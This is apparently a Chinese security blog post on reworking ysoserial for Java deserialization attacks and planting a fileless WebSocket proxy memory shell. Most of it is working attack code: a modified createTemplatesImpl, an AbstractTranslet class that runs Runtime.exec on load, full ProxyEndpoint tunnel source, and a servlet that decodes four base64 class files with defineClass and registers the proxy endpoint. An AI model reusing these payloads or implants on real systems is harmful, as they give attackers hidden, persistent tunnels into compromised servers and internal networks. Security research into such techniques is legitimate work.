Java安全攻防之从wsProxy到AbstractTranslet

 

本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。

 

常用改造 ysoserial 任意类加载执行方式

在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

在原始的Gadgets.createTemplatesImpl方法中,使用了Javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。

由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。

}else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();

在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class CMD extends AbstractTranslet {

public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

反序列后成功执行了代码,移除继承AbstractTranslet后

import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。

 

反序列化植入 WebSocket Proxy

wsMemShell/Tomcat_Spring_Jetty at main · veo/wsMemShell

作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。

作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。

刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.servlet.filter、ServletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦),

public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {

中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。

实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java

import java.io.ByteArrayOutputStream;

import java.net.InetSocketAddress;

import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;

import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

import javax.websocket.*;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;


public class ProxyEndpoint extends Endpoint {
    long i = 0;
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String, AsynchronousSocketChannel>();

    void readFromServer(Session channel, AsynchronousSocketChannel client) {
        final ByteBuffer buffer = ByteBuffer.allocate(50000);
        Attach attach = new Attach();
        attach.client = client;
        attach.channel = channel;
        client.read(buffer, attach,
            new CompletionHandler<Integer, Attach>() {
                @Override
                public void completed(Integer result, final Attach scAttachment) {
                    buffer.clear();

                    try {
                        if (buffer.hasRemaining() && (result >= 0)) {
                            byte[] arr = new byte[result];
                            ByteBuffer b = buffer.get(arr, 0, result);
                            baos.write(arr, 0, result);

                            ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());

                            if (scAttachment.channel.isOpen()) {
                                scAttachment.channel.getBasicRemote()
                                                    .sendBinary(q);
                            }

                            baos = new ByteArrayOutputStream();
                            readFromServer(scAttachment.channel,
                                scAttachment.client);
                        } else {
                            if (result > 0) {
                                byte[] arr = new byte[result];
                                ByteBuffer b = buffer.get(arr, 0, result);
                                baos.write(arr, 0, result);
                                readFromServer(scAttachment.channel,
                                    scAttachment.client);
                            }
                        }
                    } catch (Exception ignored) {
                    }
                }

                @Override
                public void failed(Throwable t, Attach scAttachment) {
                    t.printStackTrace();
                }
            });
    }

    void process(ByteBuffer z, Session channel) {
        try {
            if (i > 1) {
                AsynchronousSocketChannel client = map.get(channel.getId());
                client.write(z).get();
                z.flip();
                z.clear();
            } else if (i == 1) {
                String values = new String(z.array());
                String[] array = values.split(" ");
                String[] addrarray = array[1].split(":");
                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
                int po = Integer.parseInt(addrarray[1]);
                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0],
                        po);
                Future<Void> future = client.connect(hostAddress);

                try {
                    future.get(10, TimeUnit.SECONDS);
                } catch (Exception ignored) {
                    channel.getBasicRemote()
                           .sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");

                    return;
                }

                map.put(channel.getId(), client);
                readFromServer(channel, client);
                channel.getBasicRemote()
                       .sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
            }
        } catch (Exception ignored) {
        }
    }

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        i = 0;
        session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20);
        session.setMaxTextMessageBufferSize(1024 * 1024 * 20);
        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
                @Override
                public void onMessage(ByteBuffer message) {
                    try {
                        message.clear();
                        i++;
                        process(message, session);
                    } catch (Exception ignored) {
                    }
                }
            });
    }

    static class Attach {
        public AsynchronousSocketChannel client;
        public Session channel;
    }
}

正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。

这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQA3AoANgB1CQA1AHYHAHcKAAMAdQkANQB4BwB5CgAGAHUJADUAegMAAMNQCgB7AHwHAH0KAAsAdQkACwB+CQALAH8HAIAKAA8AgQoAFACCCwCDAIQKAAYAhQcAhgoAFACHCwCIAIkKAHsAigoAewCLBwCMCgB7AI0KABkAjggAjwoAGQCQCACRCgAUAJIKAJMAlAcAlQoAIQCWCgAUAJcFAAAAAAAAAAoJAJgAmQsAiACaBwCbCwCDAJwIAJ0LAJ4AnwoABgCgCgA1AKEIAKIDAUAAAAsAgwCjCwCDAKQHAKUKADIApgsAgwCnBwCoBwCpAQAGQXR0YWNoAQAMSW5uZXJDbGFzc2VzAQABaQEAAUoBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA21hcAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAlTaWduYXR1cmUBAFRMamF2YS91dGlsL0hhc2hNYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7PjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAD0xQcm94eUVuZHBvaW50OwEADnJlYWRGcm9tU2VydmVyAQBJKExqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjtMamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDspVgEAB2NoYW5uZWwBABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGYXR0YWNoAQAWTFByb3h5RW5kcG9pbnQkQXR0YWNoOwEAB3Byb2Nlc3MBADEoTGphdmEvbmlvL0J5dGVCdWZmZXI7TGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOylWAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABnZhbHVlcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWFkZHJhcnJheQEAAnBvAQABSQEAC2hvc3RBZGRyZXNzAQAcTGphdmEvbmV0L0luZXRTb2NrZXRBZGRyZXNzOwEABmZ1dHVyZQEAHUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQABegEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAC9MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlPExqYXZhL2xhbmcvVm9pZDs+OwEADVN0YWNrTWFwVGFibGUHAKgHAKoHAKsHAIwHAFkHAIYHAJUHAKwHAJsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAGY29uZmlnAQAgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDABBAEIMADkAOgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAA7ADwBABFqYXZhL3V0aWwvSGFzaE1hcAwAPQA+BwCqDACtAK4BABRQcm94eUVuZHBvaW50JEF0dGFjaAwATABNDABKAEsBAA9Qcm94eUVuZHBvaW50JDEMAEEArwwAsACxBwCrDACyALMMALQAtQEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMALYAtwcArAwAtAC4DAC5ALoMALsAugEAEGphdmEvbGFuZy9TdHJpbmcMAFgAvAwAQQC9AQABIAwAvgC/AQABOgwAwADBBwDCDADDAMQBABpqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzcwwAQQDFDADGAMcHAMgMAMkAygwAtADLAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzADOAQAkSFRUUC8xLjEgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUNCg0KBwDQDADRANIMANMA1AwASABJAQAnSFRUUC8xLjEgMjAwIENvbm5lY3Rpb24gRXN0YWJsaXNoZWQNCg0KDADVANYMANcA1gEAD1Byb3h5RW5kcG9pbnQkMgwAQQDYDADZANoBAA1Qcm94eUVuZHBvaW50AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50AQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAIYWxsb2NhdGUBABgoSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARyZWFkAQBPKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcjspVgEABWdldElkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXdyaXRlAQA0KExqYXZhL25pby9CeXRlQnVmZmVyOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAEZmxpcAEAEygpTGphdmEvbmlvL0J1ZmZlcjsBAAVjbGVhcgEABCgpW0IBAAUoW0IpVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEb3BlbgEALygpTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAAdjb25uZWN0AQA3KExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAHU0VDT05EUwEAH0xqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDsBADQoSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZ2V0QmFzaWNSZW1vdGUBAAVCYXNpYwEAKCgpTGphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludCRCYXNpYzsHANsBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdc2V0TWF4QmluYXJ5TWVzc2FnZUJ1ZmZlclNpemUBAAQoSSlWAQAbc2V0TWF4VGV4dE1lc3NhZ2VCdWZmZXJTaXplAQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIQA1ADYAAAADAAAAOQA6AAAAAAA7ADwAAAAAAD0APgABAD8AAAACAEAABAABAEEAQgABAEMAAABWAAMAAQAAACAqtwABKgm1AAIquwADWbcABLUABSq7AAZZtwAHtQAIsQAAAAIARAAAABIABAAAAA4ABAAPAAkAEAAUABEARQAAAAwAAQAAACAARgBHAAAAAABIAEkAAQBDAAAAkgAHAAUAAAAsEgm4AApOuwALWbcADDoEGQQstQANGQQrtQAOLC0ZBLsAD1kqLbcAELYAEbEAAAACAEQAAAAaAAYAAAAXAAYAGAAPABkAFQAaABsAGwArADkARQAAADQABQAAACwARgBHAAAAAAAsAEoASwABAAAALABMAE0AAgAGACYATgBPAAMADwAdAFAAUQAEAAAAUgBTAAEAQwAAAjEABAALAAAAyiq0AAIKlJ4ALCq0AAgsuQASAQC2ABPAABROLSu2ABW5ABYBAFcrtgAXVyu2ABhXpwCWKrQAAgqUmgCNuwAZWSu2ABq3ABtOLRIctgAdOgQZBAQyEh62AB06BbgAHzoGGQUEMrgAIDYHuwAhWRkFAzIVB7cAIjoIGQYZCLYAIzoJGQkUACSyACa5ACcEAFenABM6Ciy5ACkBABIquQArAgCxKrQACCy5ABIBABkGtgAsVyosGQa2AC0suQApAQASLrkAKwIApwAETrEAAwCAAI4AkQAoAAAAoADIACgAoQDFAMgAKAAEAEQAAABmABkAAAA9AAkAPwAaAEAAJQBBACoAQgAvAEMAMgBEADsARgBHAEcATwBIAFoASQBfAEoAaABLAHcATACAAE4AjgBSAJEATwCTAFAAoABRAKEAUwCxAFQAuABVAMUAWADIAFcAyQBZAEUAAAB6AAwAGgAVAEwATQADAJMADgBUAFUACgBHAH4AVgBXAAMATwB2AFgAWQAEAFoAawBaAFkABQBfAGYATABNAAYAaABdAFsAXAAHAHcATgBdAF4ACACAAEUAXwBgAAkAAADKAEYARwAAAAAAygBhAE8AAQAAAMoASgBLAAIAYgAAAAwAAQCAAEUAXwBjAAkAZAAAAD8ABjL/AF4ACgcAZQcAZgcAZwcAaAcAaQcAaQcAagEHAGsHAGwAAQcAbQ//ACMAAwcAZQcAZgcAZwAAQgcAbQAAAQBuAG8AAQBDAAAAcwAFAAMAAAAlKgm1AAIrEi+5ADACACsSL7kAMQIAK7sAMlkqK7cAM7kANAIAsQAAAAIARAAAABYABQAAAFwABQBdAA0AXgAVAF8AJABqAEUAAAAgAAMAAAAlAEYARwAAAAAAJQBwAEsAAQAAACUAcQByAAIAAgBzAAAAAgB0ADgAAAAiAAQACwA1ADcACAAyAAAAAAAAAA8AAAAAAAAAngDPAM0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAiAkAGgBFCQAaAEYKABsARwoASABJCgBIAEoKABgASwoASABMCQBDAE0KABAATgoAEABPCgBIAFAJABYAUQsAUgBTCwBSAFQLAFUAVgcAVwoAEABHCQAWAFgKAEMARAcAWQoAWgBbBwBcCgAaAF0HAF4KABoAXwcAYAcAYQcAYgEACnZhbCRidWZmZXIBABVMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAZ0aGlzJDABAA9MUHJveHlFbmRwb2ludDsBAAY8aW5pdD4BACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADElubmVyQ2xhc3NlcwEAEUxQcm94eUVuZHBvaW50JDE7AQAJY29tcGxldGVkAQAGQXR0YWNoAQAsKExqYXZhL2xhbmcvSW50ZWdlcjtMUHJveHlFbmRwb2ludCRBdHRhY2g7KVYBAANhcnIBAAJbQgEAAWIBAAFxAQAGcmVzdWx0AQATTGphdmEvbGFuZy9JbnRlZ2VyOwEADHNjQXR0YWNobWVudAEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAA1TdGFja01hcFRhYmxlBwAtBwBjBwBZAQAGZmFpbGVkAQAuKExqYXZhL2xhbmcvVGhyb3dhYmxlO0xQcm94eUVuZHBvaW50JEF0dGFjaDspVgEAAXQBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBACooTGphdmEvbGFuZy9UaHJvd2FibGU7TGphdmEvbGFuZy9PYmplY3Q7KVYBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAGJMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50JEF0dGFjaDs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHAGQMAGUAZgwAHwAgDAAdAB4MACEAZwcAYwwAaABpDABqAGsMAGwAbQwAbgBvDABwAHEMAHIAcwwAdAB1DAB2AHcMAHgAeQcAegwAewBrDAB8AH4HAIAMAIEAggEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwCFDACGAGcBABRQcm94eUVuZHBvaW50JEF0dGFjaAwAOAA5AQARamF2YS9sYW5nL0ludGVnZXIMACkAKwEAD1Byb3h5RW5kcG9pbnQkMQEAEGphdmEvbGFuZy9PYmplY3QBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgEAE2phdmEvbmlvL0J5dGVCdWZmZXIBAA1Qcm94eUVuZHBvaW50AQAOcmVhZEZyb21TZXJ2ZXIBAEkoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOylWAQADKClWAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwCHAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEABmNsaWVudAEALUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEAE2phdmEvbGFuZy9UaHJvd2FibGUBAA9wcmludFN0YWNrVHJhY2UBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIAAaABsAAQAcAAIQEAAdAB4AABAQAB8AIAAAAAUAAAAhACIAAQAjAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAkAAAABgABAAAAGwAlAAAAFgACAAAADwAmACgAAAAAAA8AHwAgAAEAAQApACsAAQAjAAABpAAEAAYAAADLKrQAArYABFcqtAACtgAFmQB7K7YABpsAdCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAAbQACLYACrgACzoFLLQADLkADQEAmQATLLQADLkADgEAGQW5AA8CACq0AAG7ABBZtwARtQAIKrQAASy0AAwstAAStgATpwA/K7YABp4AOCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAASy0AAwstAAStgATpwAETrEAAQAIAMYAyQAUAAMAJAAAAEoAEgAAAB4ACAAgABkAIgAgACMALwAkAD8AJQBOACYAWgAnAGoAKQB4ACoAhwArAIoALACRAC4AmAAvAKcAMAC3ADEAxgA0AMoANQAlAAAAUgAIACAAZwAsAC0AAwAvAFgALgAeAAQATgA5AC8AHgAFAJgALgAsAC0AAwCnAB8ALgAeAAQAAADLACYAKAAAAAAAywAwADEAAQAAAMsAMgAzAAIANAAAABcABf4AagcANQcANgcANvgAHztCBwA3AAABADgAOQABACMAAABDAAEAAwAAAAUrtgAVsQAAAAIAJAAAAAYAAQAAADcAJQAAACAAAwAAAAUAJgAoAAAAAAAFADoAOwABAAAABQAyADMAAhBBADgAPAABACMAAAA0AAMAAwAAAAoqKyzAABa2ABexAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAACgAmACgAABBBACkAPQABACMAAAA3AAMAAwAAAA0qK8AAGCzAABa2ABmxAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAADQAmACgAAAAEAD4AAAACAD8AQAAAAAIAQQBCAAAABABDAEQAJwAAABoAAwAaAAAAAAAAABYAQwAqAAgAVQB/AH0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAQAkACgAoCQAKACkKAAsAKgoACAArCQAmACwKACYALQcALgcALwoACgAwBwAxBwAyBwA0AQALdmFsJHNlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGdGhpcyQwAQAPTFByb3h5RW5kcG9pbnQ7AQAGPGluaXQ+AQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMSW5uZXJDbGFzc2VzAQARTFByb3h5RW5kcG9pbnQkMjsBAAlvbk1lc3NhZ2UBABgoTGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAAdtZXNzYWdlAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQANU3RhY2tNYXBUYWJsZQcALgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEABVdob2xlAQBPTGphdmEvbGFuZy9PYmplY3Q7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHADUMADYANwwADwAQDAANAA4MABEAOAwAOQA6DAA7ADwMAD0APgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhL25pby9CeXRlQnVmZmVyDAAZABoBAA9Qcm94eUVuZHBvaW50JDIBABBqYXZhL2xhbmcvT2JqZWN0BwA/AQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQANUHJveHlFbmRwb2ludAEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEAAygpVgEABWNsZWFyAQATKClMamF2YS9uaW8vQnVmZmVyOwEAAWkBAAFKAQAHcHJvY2VzcwEAMShMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBAB5qYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXIAIAAKAAsAAQAMAAIQEAANAA4AABAQAA8AEAAAAAMAAAARABIAAQATAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAUAAAABgABAAAAXwAVAAAAFgACAAAADwAWABgAAAAAAA8ADwAQAAEAAQAZABoAAQATAAAAgAAFAAMAAAAjK7YABFcqtAABWbQABQphtQAFKrQAASsqtAACtgAGpwAETbEAAQAAAB4AIQAHAAMAFAAAABoABgAAAGMABQBkABIAZQAeAGcAIQBmACIAaAAVAAAAFgACAAAAIwAWABgAAAAAACMAGwAcAAEAHQAAAAcAAmEHAB4AEEEAGQAfAAEAEwAAADMAAgACAAAACSorwAAItgAJsQAAAAIAFAAAAAYAAQAAAF8AFQAAAAwAAQAAAAkAFgAYAAAABAAgAAAAAgAiACMAAAACACQAJQAAAAQAJgAnABcAAAASAAIACgAAAAAAAAAMADMAIQYJ");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAGAoAAwATBwAVBwAWAQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkF0dGFjaAEADElubmVyQ2xhc3NlcwEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDAAIAAkHABcBABRQcm94eUVuZHBvaW50JEF0dGFjaAEAEGphdmEvbGFuZy9PYmplY3QBAA1Qcm94eUVuZHBvaW50ACAAAgADAAAAAgABAAQABQAAAAEABgAHAAAAAQAAAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAABIADAAAAAwAAQAAAAUADQAQAAAAAgARAAAAAgASAA8AAAAKAAEAAgAUAA4ACA==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
